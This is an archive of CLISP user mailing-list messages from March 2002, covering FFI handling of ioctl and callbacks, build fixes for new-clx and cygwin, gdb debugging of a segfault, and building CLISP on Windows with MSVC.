clisp-list@lists.sourceforge.net Cc: peter.wood@worldonline.dk Subject: [clisp-list] linux:ioctl MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 6 02:05:04 2002 X-Original-Date: Wed, 6 Mar 2002 10:59:11 +0100 Hi, [adding another section to my FFI cookbook work in progress :)] There's an inherent conflict between type-safety and "anything goes" functions like ioctl (or printf). FFIs generally require some parameter type information. Therefore they don't fit such functions well. The third argument to ioctl(), arg, can be one of: o an integer (or bit mask), o a string (or a pointer to a memory location to be read as a string), o a pointer to an integer or bit mask, when receiving values (:out usage pattern), o a pointer to some structure containing further information, o ... I didn't scan the manpages for ioctl, termio, streamio any further. The actual usage of arg is defined by the second parameter. This scenario is similar to printf(format, args...) et al where the exact type of the rest args is to be deduced from the first argument, the format string. Modern compilers do some safety checks (type consistency), but they can only do so when the format string is known at compile time (e.g. it is a literal "%d%c%s" instead of taken from a variable). The usual solution is as you pointed out: split the usage patterns. Having separate setters and readers is typical for Lisp (and Smalltalk, Java, xyz). Some may argue it's easier to read or to assess code correctness. Furthermore, having several FFI definitions depending on various types of arguments is almost a requirement, as I explain below. Another solution is to internally dispatch depending on the types of arguments. This can only be done where types actually differ. In AllegroCL, foreign pointers being integers (AFAIK), pointers are indistinguishable from integers, so this technique would not be applicable in general there. What I mean is have several definitions around, using one of the following depending on the actual arguments: (:arguments ... (arg ffi:int)) (:arguments ... (arg ffi:c-string)) (:arguments ... (arg (ffi:c-ptr (ffi:c-struct ...)))) or a generic (:arguments ... (arg (ffi:c-pointer))) and hope for CAST (not working in CLISP) (:arguments ... (arg ffi:int :out)) ... This technique also suffers from lack of generality. While you could dispatch depending on an integer or string received as argument, you cannot do so when you expect an integer or string to be returned via an :out parameter. You need some way to express and tell the implementation what to expect. A join of the two methods would be an attempt to minimize the number of entry functions and provide extra arguments indicating the types of other arguments or return values (similar to MAP or COERCE). > Could ioctl be defined as one function with :in-out parameters, > instead of being split up into two? First, as seen above, there are even more than two forms. In your examples, you only covered the ffi:int :in and :out cases. Other ioctl() work on strings, buffers, structures etc. You defined ioctl-read-int and ioctl-set-int. :in-out would not work because it passes a pointer to an int, whereas :in passes the integer value. What you can do is define a single API entry taking ideas from MAP or COERCE, i.e. provide a description of the expected types and then dispatch internally. This could work for ffi:int, ffi:c-string in both :in and :out forms. It's more work when arg is a pointer to some structure. Even c-string :out may not work because it's unclear where the memory to contain the string's characters comes from. It all higly depends on the actual ioctl() call. For example, Solaris' manpage on streamio says about the command I_LOOK: "The buffer pointed to by arg should be at least FMNAMESZ+1 bytes long." [...strings vs buffers covered somewhere else in my upcoming article]. I advise not to try to mimic C and try and pass everything as either a ffi:int or ff:c-pointer, because you loose all of the comfort of what the various FFI give you: c-string conversions, function to pointer conversion, integers vs. pointers to one integer to hold a result value, etc. You'd then need to restore all of them by hand. Furthermore, some implementations, CLISP among them, won't give you pointers to the internals as others do (trivial with AllegroCL, available with CMUCL, TODO others). > If a C function expects a (pointer to) a function in its argument > list, can I give it a lisp function. Ie, will the ffi convert it to > the correct type for C, automatically. What should the > allocation be? The conversion will occur in CLISP only if you declare the foreign function to take a function as argument. Using ffi:c-pointer will signal an error. (:arguments ... (arg (ffi:c-function (:arguments ...) (:return-type ...)))) Allocation for passing functions: Use the default (don't specify). Remember it's solely a pointer that gets passed around. For a Lisp function, CLISP will create a trampoline under the woods: that's what's pointed to. CLISP will remember the correspondance between the possibly new trampoline and the function indefinitely internally, since it has no means to know when the (pointer to the) trampoline will not be used anymore by foreign code. I have no experience yet whether it's enough to just say (:arguments ... (arg (ffi:c-function))) or possibly (:arguments ... (arg (ffi:c-function (:return-type ffi:int)))) or whether a complete type must be specified and whether type coherence will be checked when passing an actual Lisp or foreign function object. Please report. I'd appreciate whether you find my elaboration useful, because I'd like to turn it (or part of it) into part of an article (and cookbook entry) I'm writing about FFI for CLISP, AllegroCL, CMUCL, CormanLisp and Lispworks. BTW, we touch an area where I find the CLISP FFI quite limited. I once advocated foreign function definitions with local scope (as found e.g. in CMUCL with (alien-funcall (extern-alien ...))) since their pattern can be highly application dependent (as seen here). I dislike globally visible definitions of functions whose call pattern is so specialized that only a wrapper can call them. The wrapper is what needs to be global (and exported). I hope that my upcoming article will make more of the FFI design issues clear and lead to a more useful FFI for CLISP. Hope this helps, Jorg Hohle. From davep@davep.org Wed Mar 06 02:27:06 2002 Received: from anchor-post-32.mail.demon.net ([194.217.242.90]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16iYdW-0007xO-00 for ; Wed, 06 Mar 2002 02:27:06 -0800 Received: from hagbard.demon.co.uk ([158.152.34.118] helo=hagbard.davep.org) by anchor-post-32.mail.demon.net with esmtp (Exim 3.35 #1) id 16iYdQ-0006JV-0W for clisp-list@lists.sourceforge.net; Wed, 06 Mar 2002 10:27:00 +0000 Received: (from davep@localhost) by hagbard.davep.org (8.9.3/8.9.3) id JAA32531 for clisp-list@lists.sourceforge.net; Wed, 6 Mar 2002 09:50:58 GMT From: Dave Pearson To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] probe-file bug Message-ID: <20020306095058.H26907@hagbard.davep.org> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <20020215191211.A225@localhost.localdomain> <20020223175001.A7074@localhost.localdomain> <20020305172043.A26907@hagbard.davep.org> <20020305201833.A9478@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020305201833.A9478@localhost.localdomain>; from peter.wood@worldonline.dk on Tue, Mar 05, 2002 at 08:18:33PM +0100 Organization: (davep 'org) X-URL: http://www.davep.org/ X-DDate: Setting Orange, Day 65 of the season of Chaos, Anno Mung 3168 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 6 02:28:01 2002 X-Original-Date: Wed, 6 Mar 2002 09:50:58 +0000 On Tue, Mar 05, 2002 at 08:18:33PM +0100, Peter Wood wrote: > Here's the bit you censored out: Don't you think "censored" is a strong word for a common SNIP to keep email length down? > [SNIP] > > If you reread that, I think you'll agree that your code doesn't apply to > what I'm talking about. Sure, but I was wondering more about the name/type problem you were referring to at the start of your email (I'd, possibly incorrectly, assumed that this was a portability issue for you too). -- Dave Pearson http://www.davep.org/ From peter.wood@worldonline.dk Wed Mar 06 04:56:48 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16iayM-0005Sh-00 for ; Wed, 06 Mar 2002 04:56:46 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id B1740B6EE for ; Wed, 6 Mar 2002 13:56:41 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g26CiX121801 for clisp-list@lists.sourceforge.net; Wed, 6 Mar 2002 13:44:33 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: [repost:Re: [clisp-list] linux:ioctl] Message-ID: <20020306134433.A21057@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 6 04:57:18 2002 X-Original-Date: Wed, 6 Mar 2002 13:44:33 +0100 Hi, On Wed, Mar 06, 2002 at 10:59:11AM +0100, Hoehle, Joerg-Cyril wrote: > I'd appreciate whether you find my elaboration useful, because I'd > like to turn it (or part of it) into part of an article (and > cookbook entry) I'm writing about FFI for CLISP, AllegroCL, CMUCL, > CormanLisp and Lispworks. Thank you very much. I find your explanations extremely helpful, and I believe I am beginning to understand how to use the ffi. > > BTW, we touch an area where I find the CLISP FFI quite limited. I > once advocated foreign function definitions with local scope (as > found e.g. in CMUCL with (alien-funcall (extern-alien ...))) since > their pattern can be highly application dependent (as seen here). I > dislike globally visible definitions of functions whose call pattern > is so specialized that only a wrapper can call them. The wrapper is > what needs to be global (and exported). I hope that my upcoming > article will make more of the FFI design issues clear and lead to a > more useful FFI for CLISP. I look forward to reading your article. > > Hope this helps, > Jorg Hohle. > Yes! Regards, Peter From samuel.steingold@verizon.net Wed Mar 06 10:12:30 2002 Received: from out020pub.verizon.net ([206.46.170.176] helo=out020.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16iftt-0001oa-00 for ; Wed, 06 Mar 2002 10:12:29 -0800 Received: from gnu.org ([151.203.227.220]) by out020.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020306181227.DOR18010.out020.verizon.net@gnu.org>; Wed, 6 Mar 2002 12:12:27 -0600 To: IPmonger Cc: clisp-list@lists.sourceforge.net Subject: Re: new-clx/Linux (was Re: [clisp-list] garnet on m$windows) References: <200203051955.g25JtGk15198@mantis.privatei.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 6 10:13:11 2002 X-Original-Date: 06 Mar 2002 13:07:25 -0500 > * In message > * On the subject of "new-clx/Linux (was Re: [clisp-list] garnet on m$windows)" > * Sent on Wed, 06 Mar 2002 02:27:57 -0500 > * Honorable IPmonger writes: > > >> * Honorable dan.stanger@ieee.org writes: > >> > >> Is there documentation on the build process for new-clx, in > >> particular the conversion process between the combination c and lisp > >> like code in the clx.f file to the clx.c file which finally gets > >> built? > > > > Sam Steingold responds: > > > > not really - just Makefile and the source code. note that the e2d > > program appears to have a Solaris-specific bug. :-( it appears to > > work fine on Linux though. > > > I have problems compiling new-clx due to missing semi-colons in the > use of the macros UNDEFINED and NOTIMPLEMENTED. sent a patch for that already. either put in the semicolons yourself, or get the CVS CLISP -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Type louder, please. From ipmonger@delamancha.org Wed Mar 06 10:22:58 2002 Received: from validus.delamancha.org ([216.7.21.39]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ig41-0005Iy-00 for ; Wed, 06 Mar 2002 10:22:57 -0800 Received: (from ipmonger@localhost) by validus.delamancha.org (8.11.6/8.11.6) id g26IMuR26155; Wed, 6 Mar 2002 13:22:56 -0500 X-Authentication-Warning: validus.delamancha.org: ipmonger set sender to ipmonger@delamancha.org using -f To: clisp-list@lists.sourceforge.net Subject: Re: new-clx/Linux (was Re: [clisp-list] garnet on m$windows) References: <200203051955.g25JtGk15198@mantis.privatei.com> In-Reply-To: (Sam Steingold's message of "06 Mar 2002 13:07:25 -0500") From: Jon Allen Boone Message-ID: Lines: 17 User-Agent: Gnus/5.090006 (Oort Gnus v0.06) XEmacs/21.5 (bamboo, i686-pc-linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 6 10:23:23 2002 X-Original-Date: Wed, 06 Mar 2002 13:22:55 -0500 Sam Steingold writes: > sent a patch for that already. either put in > the semicolons yourself, or get the CVS CLISP I did that last night. Provided I remove all Optimization options, everything compiles fine. I even played the Sokoban demo found in the clx/new-clx/demos directory. :-) Thanks for your help! -jon -- ------------------ Jon Allen Boone ipmonger@delamancha.org CCIE #8338 From vs1100@terra.es Wed Mar 06 11:18:53 2002 Received: from mailhost.teleline.es ([195.235.113.141] helo=tsmtp3.ldap.isp) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16igw6-0006So-00 for ; Wed, 06 Mar 2002 11:18:51 -0800 Received: from karsten.terra.es ([62.36.154.119]) by tsmtp3.ldap.isp (Netscape Messaging Server 4.15 tsmtp3 Jul 26 2001 13:10:38) with ESMTP id GSKGA402.3F1; Wed, 6 Mar 2002 20:18:04 +0100 Message-Id: <5.1.0.14.0.20020306200840.00a35ec0@pop3.terra.es> X-Sender: vs1100.terra.es@pop3.terra.es X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: sds@gnu.org,Karsten From: Karsten Subject: Re: [clisp-list] Clisp 2.28 on cygwin Cc: clisp-list@lists.sourceforge.net In-Reply-To: References: <5.1.0.14.0.20020305212326.009fa480@pop3.terra.es> <5.1.0.14.0.20020305212326.009fa480@pop3.terra.es> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 6 11:19:26 2002 X-Original-Date: Wed, 06 Mar 2002 20:18:13 +0100 At 20:42 3/5/2002 -0500, Sam Steingold wrote: >please "make distrib" and upload clisp-2.28-cygwin.tar.gz to >upload.sf.net/incoming done > > After commenting these two definitions, clisp compiles fine, executes > > the test-suite with just one error inexcepsit.erg (I had that also in > > 2,27). > >could you please remind me what the error is? >can you debug it? I will debug that > > Is there anything that I can do to really resolve the ualarm issue? > >it appears that cygwin provides a working ualarm, right? >where/how is it declared? Ualarm is defined in /usr/include/sys/unixstd.h as useconds_t _EXFUN(ualarm, (useconds_t __useconds, useconds_t __interval)); useconds_t is in /usr/include/sys/types.h #if defined(__CYGWIN__) || defined(__rtems__) typedef long useconds_t; #endif _EXFUN is in /usr/include/_ansi.h as #define _EXFUN(name, proto) __cdecl name proto Karsten From samuel.steingold@verizon.net Wed Mar 06 11:33:51 2002 Received: from out018pub.verizon.net ([206.46.170.96] helo=out018.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ihAb-0002s3-00 for ; Wed, 06 Mar 2002 11:33:49 -0800 Received: from gnu.org ([151.203.227.220]) by out018.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020306193345.NKT20881.out018.verizon.net@gnu.org>; Wed, 6 Mar 2002 13:33:45 -0600 To: IPmonger Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Compilation Failure: Latest Release (2.28) : RedHat 7.2 (Kernel 2.4.9-21) References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 45 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 6 11:34:30 2002 X-Original-Date: 06 Mar 2002 14:28:44 -0500 > * In message > * On the subject of "Re: [clisp-list] Compilation Failure: Latest Release (2.28) : RedHat 7.2 (Kernel 2.4.9-21)" > * Sent on Wed, 06 Mar 2002 02:11:13 -0500 > * Honorable IPmonger writes: > > > edit Makefile, remove optimizations and replace -O2 with -g, then get > > the backtrace. > > ;; Loading file format.fas ... > Program received signal SIGSEGV, Segmentation fault. > 0x080a2ec6 in read_delimited_list_recursive > (stream_=Cannot access memory at address 0x14c7) at io.d:2548 > > 2548 Cdr(STACK_0) = new_cons; # =: (cdr (last Gesamtliste)) > > The failure under gdb is always this same line. > > It seems like there might be a problem with optimization... add -DDEBUG_EVAL -DDEBUG_SPVW to CFLAGS. I use the exact same distribution and kernel here and I do not observe this. is it possible that you have some weird configuration issue (like some libraries were compiled with gcc3 and other with gcc 2.96)? is the crash totally predictable (I mean the place & time, not CRASH-P)? if yes and you can stop in gdb right before the crash reliably, try (gdb) p gar_col() after pushSTACK(object1); but before allocate_cons(); and see is the crash goes away or happens inside GC. also, do (gdb) p object_out(object1) and (gdb) p STACK_0 (and STACK_1)... the last resort would be for me to telnet to your machine and debug it remotely... (I would hate to have to do this) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Lisp: it's here to save your butt. From samuel.steingold@verizon.net Wed Mar 06 17:19:20 2002 Received: from out012pub.verizon.net ([206.46.170.137] helo=out012.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16imYx-0002oc-00 for ; Wed, 06 Mar 2002 17:19:19 -0800 Received: from gnu.org ([151.203.227.220]) by out012.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020307011917.CCOW24102.out012.verizon.net@gnu.org>; Wed, 6 Mar 2002 19:19:17 -0600 To: Karsten Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Clisp 2.28 on cygwin References: <5.1.0.14.0.20020305212326.009fa480@pop3.terra.es> <5.1.0.14.0.20020305212326.009fa480@pop3.terra.es> <5.1.0.14.0.20020306200840.00a35ec0@pop3.terra.es> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5.1.0.14.0.20020306200840.00a35ec0@pop3.terra.es> Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 6 17:20:04 2002 X-Original-Date: 06 Mar 2002 20:14:14 -0500 > * In message <5.1.0.14.0.20020306200840.00a35ec0@pop3.terra.es> > * On the subject of "Re: [clisp-list] Clisp 2.28 on cygwin" > * Sent on Wed, 06 Mar 2002 20:18:13 +0100 > * Honorable Karsten writes: > > At 20:42 3/5/2002 -0500, Sam Steingold wrote: > > >please "make distrib" and upload clisp-2.28-cygwin.tar.gz to > >upload.sf.net/incoming > > done I don't see it there - I guess this is not a viable path (I have to release the file very soon after it is uploaded) could you please put this file on a web page from where I could download it? thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Those who value Life above Freedom are destined to lose both. From rurban@x-ray.at Thu Mar 07 12:13:44 2002 Received: from goliath.inode.at ([195.58.161.55] helo=smtp.inode.at) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 16j4Gj-000082-00 for ; Thu, 07 Mar 2002 12:13:41 -0800 Received: from [62.46.177.102] (helo=x-ray.at) by smtp.inode.at with asmtp (Exim 3.34 #1) id 16j4Ge-0003lM-00; Thu, 07 Mar 2002 21:13:36 +0100 Message-ID: <3C87C9F6.CC83ACAE@x-ray.at> From: Reini Urban Organization: http://www.x-ray.at X-Mailer: Mozilla 4.7 [de] (WinNT; I) X-Accept-Language: de,en MIME-Version: 1.0 To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] linux:ioctl References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 7 12:23:06 2002 X-Original-Date: Thu, 07 Mar 2002 20:13:42 +0000 "Hoehle, Joerg-Cyril" schrieb: > I'd appreciate whether you find my elaboration useful, because I'd like to turn it (or part of it) into part of an article (and cookbook entry) I'm writing about FFI for CLISP, AllegroCL, CMUCL, CormanLisp and Lispworks. yes, very useful. > I once advocated foreign function definitions with local scope (as found e.g. in CMUCL with (alien-funcall (extern-alien ...))) since their pattern can be highly application dependent (as seen here). I dislike globally visible definitions of functions whose call pattern is so specialized that only a wrapper can call them. The wrapper is what needs to be global (and exported). ack. -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From ipmonger@delamancha.org Thu Mar 07 23:44:44 2002 Received: from validus.delamancha.org ([216.7.21.39]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16jF3T-0001y3-00 for ; Thu, 07 Mar 2002 23:44:43 -0800 Received: (from ipmonger@localhost) by validus.delamancha.org (8.11.6/8.11.6) id g287if627583; Fri, 8 Mar 2002 02:44:41 -0500 X-Authentication-Warning: validus.delamancha.org: ipmonger set sender to ipmonger@delamancha.org using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Compilation Failure: Latest Release (2.28) : RedHat 7.2 (Kernel 2.4.9-21) References: In-Reply-To: (Sam Steingold's message of "06 Mar 2002 14:28:44 -0500") From: IPmonger Message-ID: Lines: 87 User-Agent: Gnus/5.090006 (Oort Gnus v0.06) XEmacs/21.5 (bamboo, i686-pc-linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 7 23:45:06 2002 X-Original-Date: Fri, 08 Mar 2002 02:44:41 -0500 Sam Steingold writes: > add -DDEBUG_EVAL -DDEBUG_SPVW to CFLAGS. Ok, so I did this and it fails to compile spvw.c because of problems in spvw_general.d: spvw_genera1.d:948: structure has no member named `heapnr_from_type' spvw_genera1.d:953: structure has no member named `heapnr_from_type' spvw_genera1.d:962: `symbol_type' undeclared (first use in this function) These are caused by the -DDEBUG_SPVW flag. the heapnr_from_type member of the mem struct is only present if the following are true (spvw_global.d, lines 44-54): #if defined(SPVW_MIXED_BLOCKS) && defined(TYPECODES) && defined(GENERATIONAL_GC) sintB heapnr_from_type[typecount]; # Tabelle type -> heapnr #endif #if defined(SPVW_MIXED_BLOCKS_OPPOSITE) && !defined(TRIVIALMAP_MEMORY) # now empty, free for Lisp objects. #define MEMRES conses.heap_end # now the emergency reserve # Upper limit of big allocated memory block. aint MEMTOP; #endif GENERATIONAL_GC, SPVW_MIXED_BLOCKS, SPVW_MIXED_BLOCKS_OPPOSITE and TRIVIALMAP_MEMORY are all defined, but TYPECODES are not - NO_TYPECODES are instead. So, there is a bug here in spvw_genera1.d, lines 945-957, as not all SPVW_MIXED are the same. #ifdef SPVW_PURE heap = &mem.heaps[type]; #else # SPVW_MIXED heap = &mem.heaps[mem.heapnr_from_type[type]]; #endif if ((addr >= heap->heap_gen0_start) && (addr < heap->heap_gen0_end)) return false; #ifdef SPVW_MIXED_BLOCKS_OPPOSITE if (is_cons_heap(mem.heapnr_from_type[type])) { if ((addr >= heap->heap_start) && (addr < heap->heap_gen1_end)) return true; # Pointer in die neue Generation } else #endif I don't know enough about what's going on to even offer a suggestion as to how to fix it, though. :-( The error about symbol_type is due to the fact that TYPECODES is not defined. > I use the exact same distribution and kernel here and I do not > observe this. is it possible that you have some weird configuration > issue (like some libraries were compiled with gcc3 and other with gcc > 2.96)? I don't think so because I personally never use gcc3. However, I have run the RedHat up2date facility and *they* might have done that. > is the crash totally predictable (I mean the place & time, not > CRASH-P)? yes. > if yes and you can stop in gdb right before the crash reliably, try > (gdb) p gar_col() > > after pushSTACK(object1); but before allocate_cons(); and see is the > crash goes away or happens inside GC. > > also, do > (gdb) p object_out(object1) > and > (gdb) p STACK_0 (and STACK_1)... I'll try these as well, once I get it to compile with the debugging statements you've suggested above that seem to be causing problems. -IPmonger -- ------------------ IPmonger ipmonger@delamancha.org CCIE #8338 From Joerg-Cyril.Hoehle@t-systems.com Fri Mar 08 01:58:32 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16jH8w-0007eb-00 for ; Fri, 08 Mar 2002 01:58:31 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 8 Mar 2002 10:56:46 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 8 Mar 2002 10:58:16 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] tiny suggestion about foreign1.lisp (FFI) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 8 01:59:02 2002 X-Original-Date: Fri, 8 Mar 2002 10:58:11 +0100 :language defaults to :C (flag 512) for functions defined via (c-function ...). I propose 1. document the default ("Choice of C flavour") in impnotes.html 2. change the default to :stdc (ANSI) instead of :C (K&R) Cost of change, to users: def-c-call-in/out is unaffected, and I = believe only a tiny portion of users ever used c-function directly. = Most stuff just passes ints and c-strings around. In todays's context, I find it not meeting common sense expectations = about program behaviour that things defined via (ffi:c-function = (:arguments ...)) must not forget (:language :stdc) or they'll get K&R = :C calling conventions. 3. please document what :stdc-stdcall means. Thanks, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Fri Mar 08 02:06:40 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16jHGo-0000et-00 for ; Fri, 08 Mar 2002 02:06:38 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 8 Mar 2002 11:04:44 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 8 Mar 2002 11:06:15 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: Building CLISP for Windows MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 8 02:07:03 2002 X-Original-Date: Fri, 8 Mar 2002 11:06:10 +0100 Hi, Sam Steingold wrote: > see CLISP/win32*/ > I used msvc6 with CLISP/win32msvc/makefile.msvc5 and followed the > instructions in CLISP/win32msvc/INSTALL > everything worked just dandy. I can confirm this, using MSVC6. However, here are some observations of mine: o (queens 21.0s0) still crashes. -------- o genclisph.exe and as a consequence clisp.h are not generated and there's even no makefile target for them. Did anyone ever build a module on MS-windows? What is the wgenclisph.exe that makefile target clean0 may remove? I used the following to complete the makefile (somebody please add this to makemake): genclisph.exe : genclisph.obj $(CC) $(CFLAGS) $(CLFLAGS) genclisph.obj /Fegenclisph.exe clisp.h : genclisph.exe genclisph.exe > clisp.h -------- clisp.h is not quite correct: mtest.c (generated from my private mtest.lisp) includes clisp.h clisp.h(24) : error C2632: 'long' gefolgt von 'long' ist unzulaessig clisp.h(25) : error C2632: 'long' gefolgt von 'long' ist unzulaessig It seems like genclisp.d doesn't reproduce lispbibl.d which says: #elif defined(MICROSOFT) typedef __int64 SLONGLONG; typedef unsigned __int64 ULONGLONG; #define HAVE_LONGLONG #endif and just outputs: 